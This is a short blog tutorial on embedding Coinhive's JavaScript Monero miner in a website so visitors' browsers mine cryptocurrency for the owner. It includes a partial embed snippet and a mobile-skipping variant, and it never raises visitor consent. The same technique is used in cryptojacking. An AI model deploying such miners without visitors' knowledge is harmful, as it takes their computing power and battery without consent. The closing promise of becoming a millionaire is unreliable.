Select Page

The world is changing and thus the ways to monetize your website(s) are also changing. So in today’s world banner ads will pay you well but mining cryptocurrency (Monero here) can be better. Therefore today we are going to see how to mine Monero (XMR) using javascript with coin-hive.

What is Monero (XMR)

Monero is a Private Digital Currency which is secure, private, and untraceable cryptocurrency. Here is a small intro video I found on their website

Why Monero (XMR)

Monero is a cryptocurrency which is a bit different from other cryptocurrencies. For mining Monero, we have to calculate hashes with an algorithm called CryptoNight.This algorithm is very compute heavy and – while overall pretty slow it was designed to run well on consumer CPUs.

Therefore mining Monero is better than mining other cryptocurrencies with javascript.

How Much Can You Earn By Mining Monero (XMR)

No limits, the more time your user stays on your website the more XMR you mine which will result in more earnings. But if you have a website like let’s say where the user keeps reloading the page or user doesn’t stay for atleast 1 – 2 minutes you will not earn much.

Only these types of websites can earn pretty good by mining cryptocurrencies –

  • Streaming Sites
  • Video Content Sites
  • Downloading Sites
  • Online games sites

and any other sites where you can give your users an incentive to stay for longer time.

Maxence Cornet has written a great case study on how much he earned with the javascript miner in 3 days you may read it over here.

Let’s Start Mining

In case if you don’t know what coin hive is, this is what they have written on the homepage of their site.

Coinhive offers a JavaScript miner for the Monero Blockchain that you can embed in your website. Your users run the miner directly in their Browser and mine XMR for you in turn for an ad-free experience, in-game currency or whatever incentives you can come up with.

Now that you have got an idea of what coinhive is we can now get started.

Generating A Site & API Key

Before adding the script to your website you first need to generate an API key to do that first you need to sign up if you haven’t already signed up yet. Once you are into your coinhive account go to settings.

Coinhive Dashboard

Next, go to Sites And API Keys

Coinhive Settings


Since you have a new account just enter the site domain (eg ) and hit the save site names button.

Coinhive Sites And API


Make sure you note the Site Key and the Name because we will be needing it soon.

Adding The Javascript Miner Code [ The Cool Stuff ]

Now comes the cool stuff we have done setting up all that we needed and we are all set to add the javascript miner to your website.

Here is what you have to add to your website –

<script src=""></script>
var miner = new CoinHive.User(‘SITE_KEY’, ‘NAME’);

Just replace the SITE_KEY and NAME with the site name and site key of your Coinhive account.

Mobile devices have very less power and hence would be able to mine only very less monero (XMR). So if you don’t want to run the miner on mobile devices you can replace the previous code with this one –

<script src=""></script>
var miner = new CoinHive.User(‘SITE_KEY’, ‘NAME’);
if (!miner.isMobile(){

And that’s it you are all set to mine cryptocurrency (Monero here ) with your users/visitors CPU power.

Please don’t forget to share it with your other friends so that even they may become a millionaire by mining cryptocurrencies.

Need Help? Chat with us
Share This